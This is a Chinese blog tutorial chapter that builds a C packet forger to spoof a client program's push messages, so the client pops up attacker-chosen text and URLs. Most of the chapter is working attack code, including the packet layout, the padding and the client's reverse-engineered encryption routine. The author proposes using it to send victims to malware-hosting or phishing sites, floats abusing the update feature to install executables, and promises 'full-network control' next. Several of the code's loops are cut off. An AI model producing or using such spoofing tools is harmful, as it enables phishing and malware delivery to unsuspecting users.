欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]打造数据包生成器

[原创]打造数据包生成器

PDF格式全文下载请
http://www.purpleroc.com/html/382547.html
Chapter 6——数据包生成器
       有了上面的分析基础,我们算是对接收到的数据包的功能和结构了解的透彻了,那么,下面要做的自然是能够让客户端弹出我想弹出的网站和消息内容。
       我这里主要用c实现的,很少敲代码,可能一些变成习惯和风格都不好,也希望大家给点建议和提醒,共同进步。
       我们要做的第一步便是去构造整个数据包的框架:(用前面的一张图来说明)

第1位是可选的:04,06,C8,CA
第2位是整个数据包长度,在构造好后数据包后填写
3——18是生成的16位校验码
19——25由于我只要实现弹出窗口,所以,这里用原来的数值
26——44:时间(控制位和长度放到19-25中了,因为它们的值是不会变动的)
45:消息控制位 0C
46:消息的长度n+2
47——(46+n):要显示的消息
47+n:网址控制位 0A
48+n:网址长度 m+2
49+n——48+n+m:网址内容
49+n+m——61+n+m:固定不变的信息(包含下一个网址的控制信息10)
62+n+m:第二个网址长度 l+2
63+n+m——62+n+m+l:第二个网址内容

       按照上面的规则,我们可以定义出一个大体的框架了,本想用结构体来定义的,可考虑到结构体需要考虑内存对齐,以及字符串‘\0’结尾不好处理。于是还是老老实实的用char型来拼接出我们想要的数据包吧(当然,那你可以有更好的办法,也希望你分享下~)
于是:
       义两个全局变量:
//the global var
char msg_tim[19];
// 19位时间信息,格式为:2012-11-26 02:30:07
char message[500];
// 所有字符
然后,把前面的长度为定值的内容先制定好,内容变化的地方用0x00代替。
char msg_0[52]={
         0X04,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
         0X00,0X00,0X00,0X09,0X06,0X01,0X00,0X00,0X00,0X08,0X15,0X00,0X00,0X00,0X00,
         0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,
         0X0A,0X03,0X31,0X0B,0X03,0X30,0X0C};
/*总共51位        1:总长度  2-17:校验码      26-44:时间 */

       中间的49+n+m——61+n+m,也先定下来。
char msg_con2[13]={0X0E,0X06,0X20,0X03,0X00,0X00,0X0E,0X06,0XDC,0X05,0X00,0X00,0X10,};

       后面就是处理3个输入的信息了。
       定义三个临时变量来接受输入信息:
         char tem1[200]={'0'};
         char tem2[200]={'0'};
         char tem3[200]={'0'};

       然后,再用如下的检测输入方式来进行输入。消息内容、网址,都是这个操作。
         
while((tem1[i++] = getchar()) != '\n' && i < sizeof(tem1));
         tem1[i - 1] = '\0';
         msg_msg=tem1;
         len1 = strlen(tem1)+2;
         tem = (char)len1;   //tem 为 asc
         message[52]=tem;        // 第52位   长度

       此后,将出了16位校验码和19位时间的数据连接起来。
//////////////////////////////////////连接
         for (i=0;i<52;i++)
         {
                   message[i]=msg_0[i];//将控制位放入全局变量message中用于生成模板
         }
         for (i=0;i         //将用户输入的信息放入全局变量message中用于生成模
         {
                   message[53+i]=msg_msg[i];
         }
         message[51+len1]=msg_con1[0];//将控制位放入全局变量message中用于生成模板
         for (i=0;i
         {
                   message[53+len1+i]=msg_url1[i];//将用户输入的网址1放入全局变量message中用于生成模
         }
         for (i=0;i<13;i++)
         {
                   message[51+len1+len2+i]=msg_con2[i];//将控制位放入全局变量message中用于生成模板
         }
         for (i=0;i
         {
                   message[52+len1+len2+i+13]=msg_url2[i];//将用户输入的网址2放入全局变量message中用于生成模
         }
         len=len1+len2+len3+63;//得到总长度
         tem = (char)len;  
         message[1]=tem;   //将总长度数据放入数据包中
         return 0;
}

       再之后,就是按格式生成时间了。
char* msg_time()
{
       char temp[5];
       int tem;
       time_t timep;
       struct tm *p;
       time(&timep);
/*   address with the data    */
       p=localtime(&timep); /*取得当地时间*/
       //gain the year
       tem=p->tm_year+1900;
       sprintf(temp, "%d", tem);
       strcat (temp,"-");
       strcpy (msg_tim,temp);
       //cat with the month
       tem=p->tm_mon+1;
       sprintf(temp, "%d", tem);
       strcat (temp,"-");
       strcpy ((msg_tim)+5,temp);
       //cat with the day
       tem=p->tm_mday;
       sprintf(temp, "%d", tem);
       strcpy ((msg_tim)+8,temp);
       strcat (msg_tim," ");
/*   address with the time    */
       tem=p->tm_hour;
       sprintf(temp, "%02d", tem);
       strcat (temp,":");
       strcpy ((msg_tim)+11,temp);
       //hour
       tem=p->tm_min;
       sprintf(temp, "%02d", tem);
       strcat (temp,":");
       strcpy ((msg_tim)+14,temp);
       //min
       tem=p->tm_sec;
       sprintf(temp, "%02d", tem);
       strcpy ((msg_tim)+17,temp);
       printf("%s\n",msg_tim);
       return 0;
}

       这样,我们还剩下16位MD5的校验码没放上去了。到现在,可以生成了。
       前面章节也说过,我用的那套从网上down下来的MD5算法并没有生成与客户端一致的校验码,还导致我一直以为是变形加密来着。我也没怎么去研究那套源代码,而是,直接自己写了个填充函数,在进行它的算法之前,先把所有信息都填充好。如下:
       先定义好填充数据包:
static unsigned char PADDING[64] = {
  0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
      0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
};
index = len % 64;             //获得余数
       if (index<56)              
       {
              for (i=0;i<56-index;i++)
                     msg_in[len+i]=PADDING[i];
              len=len+i;
              msg_in[len]=*(char *)&tem;
              msg_in[len+1]=*(1+(char *)&tem);
              for (i=0;i<6;i++)
              {
                     msg_in[len+2+i]=PADDING[2+i];
              }
              len=len+2+i;
       }//当余数小于56时,用10000补充,最后8字节用需加密数据包的长度进行填充
       if (index>=56)//当余数大于等于56时,用10000填充满此64字节。而后,再开新建一个64字节数据,用0000填充,最后8字节填充上数据包长度
       {
              for (i=0;i<64-index;i++)
              {
                     msg_in[len+i]=PADDING[i];
              }
              len=len+i;
              for (i=0;i<56;i++)
              {
                     msg_in[len+i]=PADDING[2+i];
              }
              len=len+i;
              msg_in[len]=*(char *)&tem;
              msg_in[len+1]=*(1+(char *)&tem);
              for (i=0;i<6;i++)
              {
                     msg_in[len+2+i]=PADDING[2+i];
              }
              len=len+2+i;
       }

       这样的生成的数据包,就可以是我们程序能够正常处理的数据包了。
       接下来,我们要测试下,也就是对程序发送,看能不能弹出我们想要弹出的对话框啊,网站之类的,于是,我们还要对数据包用程序自带的加密算法加密一次。如下:
unsigned char code (int lenth,unsigned char* pwd)
{
       int i=0;               //定义两个变量
       char tmp[2]={0};         //临时缓存存放点
       unsigned char n;         //定义为无符号字符型
       for (i=0;i
       {
       n=(((((((((pwd[i]>>2)&0X20)|(pwd[i]&0X40))>>2)|(pwd[i]&0X20))>>1)|(pwd[i]&2))>>1))|(((pwd[i]&0X1C)|(pwd[i]<<5))<<2);   //密码算法核心
              sprintf(tmp,"%02X",n);        //将得到的结果转换为16进制
              msg_in[i]=*(char *)&n;
       }
       return 0;
}

       然后,我们试着对去掉时间校验的客户端发送一次,看看结果:

       OK,搞定了。
       既然能够弹出想要的消息框和内容,那,我们可以利用这个做什么呢?让他们打开挂马的网站?让他们打开钓鱼网站?还是刷刷自己空间或者博客的流量?这个就随你了~
       其实,你还分析下,指不定这个程序还提供在线更新功能,直接从某个ip下载一个exe然后自动安装运行呢~直接相当于下载者了~具体的,也没有去继续分析了。有兴趣的自己再去研究吧。
       于是,我们剩下的问题就是:如何实现全网控制?
       且看下回分解。
                                                                                    ——Tracy    2013-11-18

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功